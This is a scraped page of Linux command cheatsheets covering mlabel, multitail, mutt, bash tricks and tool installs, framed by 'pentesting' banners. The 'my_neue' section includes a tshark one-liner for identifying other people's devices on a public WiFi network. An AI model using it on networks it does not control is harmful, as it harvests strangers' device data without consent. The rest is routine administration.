░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
89 - 🖥️mlabel
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mlabel command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ █████╗ ██████╗ ███████╗██╗
# ████╗ ████║██║ ██╔══██╗██╔══██╗██╔════╝██║
# ██╔████╔██║██║ ███████║██████╔╝█████╗ ██║
# ██║╚██╔╝██║██║ ██╔══██║██╔══██╗██╔══╝ ██║
# ██║ ╚═╝ ██║███████╗██║ ██║██████╔╝███████╗███████╗
# ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝
# Change the label of a USB drive in Linux without a gui
mlabel -i /dev/sdd1 ::NewLabel
# Explanation: Replace /dev/sdd1 with whatever your USB stick is mounted on.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mlabel in a clear format. This allows users to quickly access the needed information for mlabel without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mlabel are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
90 - 🖥️movies
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the movies command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗ ██████╗ ██╗ ██╗██╗███████╗███████╗
# ████╗ ████║██╔═══██╗██║ ██║██║██╔════╝██╔════╝
# ██╔████╔██║██║ ██║██║ ██║██║█████╗ ███████╗
# ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██║██╔══╝ ╚════██║
# ██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ██║███████╗███████║
# ╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚═╝╚══════╝╚══════╝
# movies (Bash-Snippets)
# Provides relevant information about a certain movie.
# Search for information on a specific movie
movies Inception
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command movies in a clear format. This allows users to quickly access the needed information for movies without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for movies are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
91 - 🖥️multitail
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the multitail command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗██╗ ████████╗██╗████████╗ █████╗ ██╗██╗
# ████╗ ████║██║ ██║██║ ╚══██╔══╝██║╚══██╔══╝██╔══██╗██║██║
# ██╔████╔██║██║ ██║██║ ██║ ██║ ██║ ███████║██║██║
# ██║╚██╔╝██║██║ ██║██║ ██║ ██║ ██║ ██╔══██║██║██║
# ██║ ╚═╝ ██║╚██████╔╝███████╗██║ ██║ ██║ ██║ ██║██║███████╗
# ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
# https://wiki.natenom.de/linux/verschiedenes/multitail-schemas
# /etc/multitail.conf : Ihr sind die Farbschemas gespeichert und allgemeine Parameter
# .multitailrc : Diese Datei kann man in seinem Homepfad anlegen und eigene Defaults festlegen
# https://lanbugs.de/howtos/linux-tipps-tricks/multitail-mehre-logs-live-betrachten-und-in-farbe/
# https://www.pantz.org/software/multitail/multitailconfig.html
# http://nion.modprobe.de/blog/archives/440-Using-the-ii-irc-client.html
# Mit den Tasten a und d lassen sich Dateien, Programme oder Fenster hinzufügen und entfernen, F1 oder Strg-H bringen die Onlinehilfe auf den Schirm, mit Strg-G gelangt man zurück zur normalen Ansicht. Tippt der Nutzer w, speichert das Programm ein kurzes Shell-Skript, das multitail mit allen aktuellen Einstellungen neu startet.
# By default MultiTail does the same thing as ‘tail -f‘, i.e. view files in a real time. To view/monitor two different files in one window, the basic syntax is:
## 1. How To View 2 Files in Single Window
multitail /var/log/apache2/error.log /var/log/apache2/error.log.1
# To scroll through the files, hit ‘b‘ and select the file you want from the list.
# Once, you select the file, it will show you last 100 lines of that selected file, to scroll through use the cursor keys. You can also use ‘gg‘/’G‘ to move to the top/bottom of the scroll window. If you want to view more lines, hit ‘q’ to exit and hit ‘m‘ to enter a new value for the number of lines to view.
## 2. How To View 2 Files in 2 Columns
# The following command will display two different files in 2 columns.
multitail -s 2 /var/log/mysqld.log /var/log/xferlog
## 3. How To View Multiple Files in Multiple Columns
# Display 3 files in three columns.
multitail -s 3 /var/log/mysqld.log /var/log/xferlog /var/log/yum.log
## 4. Merge/View Multiple Files in Multiple Columns
# Displays 5 logfiles while merging 2 files in one column and keep 2 files in two columns with only one in the left column.
multitail -s 2 -sn 1,3 /var/log/mysqld.log -I /var/log/xferlog /var/log/monitorix /var/log/ajenti.log /var/log/yum.log
## 5. How to View File and Execute a Command
# Shows 1 file while ‘-l‘ option allows command to execute in a window.
multitail /var/log/iptables.log -l "ping server.nixcraft.in"
# 6. How to Merge/View Two Files in Different Color
# Merge 2 logfiles in one window, but give different color to each logfile so that you can easily understand what lines are for what logfile.
multitail -ci green /var/log/yum.log -ci yellow -I /var/log/mysqld.log
# Automatically add new files to a window:
multitail -Q /var/log/myprogram/log-2014*.txt
# Merge 2 logfiles in one window:
multitail /var/log/apache2/access.log -I /var/log/apache2/error.log
# Show 3 logfiles in 2 columns:
multitail -s 2 /var/log/apache2/access.log /var/log/messages /var/log/mail.log
# Show 5 logfiles while merging 2 and put them in 2 columns with only one in the left column:
multitail -s 2 -sn 1,3 /var/log/apache2/access.log -I /var/log/apache2/error.log /var/log/messages \
/var/log/mail.log /var/log/syslog
# Merge the output of 2 ping commands while removing "64 bytes received from" from only 1 of them:
multitail -l "ping 192.168.0.1" -ke "64 bytes from" -L "ping 192.168.0.2"
# Show the output of a ping-command and if it displays a timeout, send a message to all users currently logged in
multitail -ex timeout "echo timeout | wall" -l "ping 192.168.0.1"
# In one window show all new TCP connections and their state changes using netstat while in the other window displaying the merged access and error logfiles of apache2
multitail -R 2 -l "netstat -t" /var/log/apache2/access.log -I /var/log/apache2/error.log
# As the previosu example but also copy the output to the file netstat.log
multitail -a netstat.log -R 2 -l "netstat -t tcp" /var/log/apache2/access.log -I /var/log/apache2/error.log
# Show 2 logfiles merged in one window but give each logfile a different color so that you can easily see what lines are for what logfile:
multitail -ci green /var/log/apache2/access.log -ci red -I /var/log/apache2/error.log
# Show 3 rssfeeds merged in one window using rsstail
multitail -cS rsstail -l "rsstail -n 1 -z -l -d -u http://setiathome.berkeley.edu/rss_main.php" \
-cS rsstail -L "rsstail -n 1 -z -l -d -u http://www.biglumber.com/index.rss" -cS rsstail \
-L "rsstail -n 1 -z -l -u http://kernel.org/kdist/rss.xml"
# Show a Squid (proxy server) logfile while converting timestamps to something readable
multitail -cv squid /var/log/squid/access.log
# Display Q-Mail logging while converting the timestamp into human readable format
multitail -cv qmailtimestr /var/log/qmail/qmail.smtpd.log
# Merge ALL apache2 logfiles (*access_log/*error_log) into one window:
multitail -cS apache2 --mergeall /var/log/apache2/*access_log --no-mergeall -cS apache2_error \
--mergeall /var/log/apache2/*error_log --no-mergeall
# Monitor the logfile of an other system: For this you need to setup a couple of things. MultiTail runs on system A, the logfile on system B.
# In this example we're going to monitor the apache2 logfile.
# Add the following to /etc/services:
apache2log 20000/tcp
# Add this to /etc/inetd.conf:
apache2log stream tcp nowait root /usr/local/sbin/tail_apache2_log /usr/local/sbin/tail_apache2_log
# and create the file /usr/local/sbin/tail_apache2_log with the following content:
#!/bin/sh
/usr/bin/tail -f /var/log/apache2/access.log
# make sure that you don't forget to make that script executable (chmod +x filename).
# Then on host A start MultiTail like this:
multitail -cS apache2 -l "telnet B 20000"
# Please note that logfiles go in plaintext across the network. You may also need to adjust the files /etc/hosts.[allow|deny] on host B to only allow host A to connect.
# Monitoring Tomcat
multitail -cS apache2 -cS log4j "${TOMCAT_HOME}/logs/catalina.out"
#First, a notification can be generated when something special is detected (via a regular expression) in a log file. In the following example, MultiTail will follow the authentication log file and generate an e-mail alert when a failed SSH login occurred:
# The following example will tag blocked packets by a pf (packet filter) firewall on OpenBSD:
multitail -ex "sshd.*Failed password for invalid user" \
"echo SSH breaking attempt detected | \
mail -s Alert [email protected]" \
-i /var/log/authlog"
# The fifth field (“accept” or “block”) and will be displayed in different colors when passing from one value to the other. Combined with the screen utility, a single SSH session to a server is enough to build powerful dashboards
multitail -cf 5 " " -l "tcpdump -n -e -ttt -i pflog0"
# You can also use MultiTail to view logfiles on other hosts! use authentication via keys or use "ssh-agent": then you only once have to enter your passphrase (so login once to that host manually, and then start MultiTail)
multitail -l "ssh -t username@host tail -f file"
# tail 2x logs + command
multitail messages syslog -R 2 -l "lsof -i"
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command multitail in a clear format. This allows users to quickly access the needed information for multitail without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for multitail are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
92 - 🖥️mutt
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mutt command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗████████╗████████╗
# ████╗ ████║██║ ██║╚══██╔══╝╚══██╔══╝
# ██╔████╔██║██║ ██║ ██║ ██║
# ██║╚██╔╝██║██║ ██║ ██║ ██║
# ██║ ╚═╝ ██║╚██████╔╝ ██║ ██║
# ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
# Send a mail with a subject, cc, and an attachment
mutt -s "Site Backup" -a backup.tar -c [email protected] [email protected]
# Send a mail with a blind carbon copy (bcc)
mutt -s "hello" -b [email protected] [email protected]
### Select (tag) messages: shift+t (T)
# -----------------------------------
= (string)
~ (expression)
#
~b expr (message with expr in body)
[b]body
[B]whole message
[f]rom
[c]c'ed
[C]c'ed or to
[h]eader
#
~m from-to (range)
~d from-to (date range)
~N (new messages)
~U (unread messages)
~R (read messages)
~A (all messages)
~D (deleted messages)
~p (message to you)
~P (message from you)
~= (duplicated messages)
~$ (unref messages)
### Logical operators:
# -------------------
AND = ~P ~N (new messages from you)
OR = ~P | ~N (new messages of messages from you)
() = (~= ~$) | ~N
### DATES
# -----------
DD/MM/YY
~d 20/1/95-31/10/95 (from 20/01/95 to 31/10/95)
~d -31/10/95 (before 31/10/95)
~d 20/1/95- (after 20/01/95)
~d 20/1/95 (only 20/01/95)
~d 20/1/95*2w (two weeks around 20/01/95)
[w]eek
[d]day
[m]onth
[y]ear
# can use *(around), +(after) or -(before)
~d <1m (messages newer than 1 month)
~d >1y (messages older than 1 year)
~d =1d (exact one day)
### Keys
# ---------
shift+d (D) : delete messages using pattern
shift+t (T) : select messages using pattern
shift+u (U) : undelete messages using pattern
ctrl+t : un-selected messages using pattern
d : delete message
N : mark as new
C : copy message to another folder(mailbox)
o, O : change sort, reverse sort
ctrl+ D, U : Deleted, Undelete a thread
ctrl+R : mark current thread as read
esc+t : select thread
esc+ v, V : collapse thread, collapse all threads
w,W : add, remove flags
T ~U ;WN ctrl+t . : mark unread msgs, remove its new flag, unselect them
# Nur mailquarantäne: ssh mit User archiv. Auf der Mailquarantäne werden die archivierten E-Mails auf /opt/archiv abgelegt.
df -h | grep -> gibt Filesystembelegung aus
doveadm mailbox status -u archiv vsize INBOX.* -> zeigt Belegung der Mailboxen in Byte
doveadm mailbox status -u archiv messages INBOX.* -> gibt Anzahl der Mails pro Mailbox aus
# Anzeigen und recherchieren in den archivierten Mails als User archiv:
mutt -> Passwort für archiv User
c -> in die Mailbox verzweigen (IN = eingehend, darunter dann der Monatstag, enbenso OUT = ausgehend)
# anschließend zu Suchen "/" in der Kommandozeile eingeben
/
-> Suchen ~t (= nach To:), ~f (= nach From:), ~s (= nach Subject), ~H (= nach SMTP-To)
-> es genügt ein Teilstring, alle Suchabfragen werden logisch UND-Verknüpft
-> z.B ~H tuxtux ~s postfix
-> serverseitig nach der Headerzeile: =h "delivered-to: tuxtux"
# Es kann auch alternativ zu "/"mit "l" (limit) das angezeiget Suchergebnis eingegrenzt werden.
: all Zurück zu allen emails
b bounce (forward) von einzelnen Mails an eine @lxu.io Adresse oder @linux.lxu.io
i: Verlassen
<BackSpace>:S zurück
<Space>:S vor
?: Hilfe
^B M <enter-command> set my_pipe_decode=$pipe_decode... call urlview to extract URLs out of a message
^D delete-thread Lösche alle Nachrichten im Diskussionsfaden
^E edit-type Bearbeite Content-Type des Anhangs
^F forget-passphrase Entferne Mantra(s) aus Speicher
<Tab> next-new-then-unread Springe zur nächsten neuen oder ungelesenen Nachricht
<Enter> display-message Zeige Nachricht an
^K extract-keys Extrahiere unterstützte öffentliche Schlüssel
<Return> display-message Zeige Nachricht an
^N next-thread Springe zum nächsten Diskussionsfaden
^P previous-thread Springe zum vorigen Diskussionsfaden
^R read-thread Markiere den aktuellen Diskussionsfaden als gelesen
^T untag-pattern Entferne Markierung nach Muster
^U undelete-thread Entferne Löschmarkierung von allen Nachrichten im Diskussionsfaden
<Esc><Tab> previous-new-then-unread Springe zur vorigen neuen oder ungelesenen Nachricht
<Esc>C decode-copy Erzeuge decodierte Kopie (text/plain)
<Esc>OM display-message Zeige Nachricht an
<Esc>Ok next-entry Gehe zum nächsten Eintrag
<Esc>Om previous-entry Gehe zum vorigen Eintrag
<Esc>P check-traditional-pgp Suche nach klassischem PGP
<Esc>V collapse-all Kollabiere/expandiere alle Diskussionsfäden
<Esc>X vfolder-from-query Erzeuge virtuelle Mailbox aus der Abfrage
<Esc>[1~ first-entry Gehe zum ersten Eintrag
<Esc>[4~ last-entry Springe zum letzten Eintrag
<Esc>[F last-entry Springe zum letzten Eintrag
<Esc>[H first-entry Gehe zum ersten Eintrag
<Esc>b M <search>~b search in message bodies
<Esc>c change-folder-readonly Öffne eine andere Mailbox im Nur-Lesen-Modus
<Esc>d delete-subthread Lösche alle Nachrichten im Diskussionsfadenteil
<Esc>e resend-message Verwende aktuelle Nachricht als Vorlage für neue Nachricht
<Esc>k mail-key Verschicke öffentlichen PGP-Schlüssel
<Esc>l show-limit Zeige derzeit aktives Begrenzungsmuster
<Esc>n next-subthread Springe zum nächsten Diskussionsfadenteil
<Esc>p previous-subthread Springe zum vorigen Diskussionsfadenteil
<Esc>r read-subthread Markiere den aktuellen Diskussionsfadenteil als gelesen
<Esc>s decode-save Erzeuge decodierte Kopie (text/plain) und lösche
<Esc>t tag-thread Markiere aktuellen Diskussionsfaden
<Esc>u undelete-subthread Entferne Löschmarkierung von allen Nachrichten im Diskussionsfadenteil
<Esc>v collapse-thread Kollabiere/expandiere aktuellen Diskussionsfaden
<Space> display-message Zeige Nachricht an
# break-thread Zerlege Diskussionsfaden in zwei
$ sync-mailbox Speichere Änderungen in Mailbox
% toggle-write Schalte Sichern von Änderungen ein/aus
& link-threads Markierte Nachrichten mit der aktuellen verbinden
+ next-entry Gehe zum nächsten Eintrag
- previous-entry Gehe zum vorigen Eintrag
. buffy-list Liste Mailboxen mit neuen Nachrichten
@ display-address Zeige komplette Absenderadresse
C copy-message Kopiere Nachricht in Datei/Mailbox
D delete-pattern Lösche Nachrichten nach Muster
F flag-message Schalte 'Wichtig'-Markierung der Nachricht ein/aus
G fetch-mail Hole Nachrichten vom POP-Server
J next-entry Gehe zum nächsten Eintrag
K previous-entry Gehe zum vorigen Eintrag
L list-reply Antworte an Mailing-Listen
N toggle-new Setze/entferne den "neu"-Indikator einer Nachricht
O sort-reverse Sortiere Nachrichten in umgekehrter Reihenfolge
P parent-message Springe zur Bezugsnachricht im Diskussionsfaden
#==============================##==============================#
# CMD MUTT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mutt in a clear format. This allows users to quickly access the needed information for mutt without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mutt are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
93 - 🖥️my_neue
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the my_neue command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗ ███╗ ██╗███████╗██╗ ██╗███████╗
# ████╗ ████║╚██╗ ██╔╝ ████╗ ██║██╔════╝██║ ██║██╔════╝
# ██╔████╔██║ ╚████╔╝ ██╔██╗ ██║█████╗ ██║ ██║█████╗
# ██║╚██╔╝██║ ╚██╔╝ ██║╚██╗██║██╔══╝ ██║ ██║██╔══╝
# ██║ ╚═╝ ██║ ██║███████╗██║ ╚████║███████╗╚██████╔╝███████╗
# ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚══════╝
tshark -ni en0 -Y "bootp.option.type == 53" -T fields -e bootp.option.hostname -e eth.src_resolved
# See who's on the Starbucks WiFi with you
# The solution is to convert the file to Unix line endings.
# This can be done using the dos2unix program:
dos2unix run-nw
# Or open the file in Vim and run the following command before saving:
:set fileformat=unix
[Ctrl-b] s
# Have more than one tmux sessions running? Start tmux first and this keystroke lets you choose other tmux sessions easily.
[command] 2> >(fb=$(dd bs=1 count=1 2>/dev/null | od -t o1 -A n); [ "$fb" ] && err=$(printf "\\${fb# }"; cat) && echo "ERROR - $err")
# Add Rudimentary Logging Levels According to STDOUT/STDERR. This is a bit of a bash hack to catch STDERR and append a log level to it. So for example, if your script has pseudo loglevels like so: echo "INFO - finding files"
[ -f ${files} ] || echo "WARN - no files found"
# Any subcommands that write to STDERR will screw that up
2> >(fb=$(dd bs=1 count=1 2>/dev/null | od -t o1 -A n); [ "$fb" ] && err=$(printf "\\${fb# }"; cat) && echo "ERROR - $err")
# Adding to the command does the following:
# 2> Redirect STDERR
# >( Spawn a subshell (STDERR is then redirected to the file descriptor for this subshell)
# fb=$(....) get the first byte of input
# [ "$fb" ] test if there is a first byte
# && err=$(printf....) save the output to the $err variable
# && echo "ERROR - $err" append your pseudo loglevel and the error message
################################################# yes/no Abfrage - Möglichkeit 01
while true; do
read -p "Do you wish to install this program?" yn
case $yn in
[Yy]* ) make install; break;;
[Nn]* ) exit;;
* ) echo "Please answer yes or no.";;
esac
done
#################################################
# oder
################################################# yes/no Abfrage - Möglichkeit 02
echo "Do you wish to install this program?"
select yn in "Yes" "No"; do
case $yn in
Yes ) make install; break;;
No ) exit;;
esac
done
#################################################
shell-pipe-status.sh
<command> | tee out.txt; test ${PIPESTATUS[0]} -eq 0
echo ${PIPESTATUS[*}} all status in commands
# bash-parse-href-url.sh
shopt -s nocasematch #Dont care about the character case
text='<a href="http://www.google.com/here2;i=!mfo1iu489fn1o2jlk21m4098mdoi">"test link"</a><br>'
regex='(<a\ +href=\")([^\"]+)(\">)'
[[ $text =~ $regex ]] && echo ${BASH_REMATCH[2]}
# bash-test-function.sh
isFunction() { [[ "$(declare -Ff "$1")" ]]; }
# Usage:
isFunction some_name && echo yes || echo no
# bash-stop-screen-session.sh
# Start detached screen session `info bash'
screen -d -m -S <screen-name> -m <command>
screen -S info -d -m info bash
# Stop screen session `info bash' by sending key `q'
screen -S info -p 0 -X stuff q
# Alternative: Stop screen session `info bash' by sending key `CTRL-C'
screen -S info -p 0 -X stuff ^C # Enter literal `^C' in bash by pressing CTRL-V followed by CTRL-C
screen -S info -p 0 -X stuff $'\003' # $'\003' is octal notation for CTRL-C
screen -S info -p 0 -X stuff $'\cC' # $'\cx' is bash notation for a control-x character
JENKINS_VER=$(tr -dc '[[:print:]]' <<< "${JENKINS_VER}")
# bash-remove-non-printable-chars.sh
1. Convert PEM into pub SSH key file:
ssh-keygen -e -f amazon-ec2-key.pem >> amazon-ec2-key.pem.pub
2. Generate a PEM from a SSH key:
openssl rsa -in my_tunneler -outform pem > my_tunneler.pem
#==============================##==============================#
# CMD MY_NEUE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command my_neue in a clear format. This allows users to quickly access the needed information for my_neue without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for my_neue are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
94 - 🖥️myinstall
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the myinstall command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗██╗███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗
# ████╗ ████║╚██╗ ██╔╝██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║
# ██╔████╔██║ ╚████╔╝ ██║██╔██╗ ██║███████╗ ██║ ███████║██║ ██║
# ██║╚██╔╝██║ ╚██╔╝ ██║██║╚██╗██║╚════██║ ██║ ██╔══██║██║ ██║
# ██║ ╚═╝ ██║ ██║ ██║██║ ╚████║███████║ ██║ ██║ ██║███████╗███████╗
# ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝
# Figlet
apt install figlet ; cd /usr/share/figlet ; git clone https://github.com/xero/figlet-fonts.git
https://github.com/cheat/cheat
# https://github.com/junegunn/fzf
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ; ~/.fzf/install
# The Ultimate Vim configuration - https://github.com/amix/vimrc
# Install for multiple users
# To install for multiple users, the repository needs to be cloned to a location accessible for all the intended users.
git clone --depth=1 https://github.com/amix/vimrc.git /opt/vim_runtime
sh ~/.vim_runtime/install_awesome_parameterized.sh /opt/vim_runtime user0 user1 user2
# to install for all users with home directories
sh ~/.vim_runtime/install_awesome_parameterized.sh /opt/vim_runtime --all
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command myinstall in a clear format. This allows users to quickly access the needed information for myinstall without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for myinstall are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
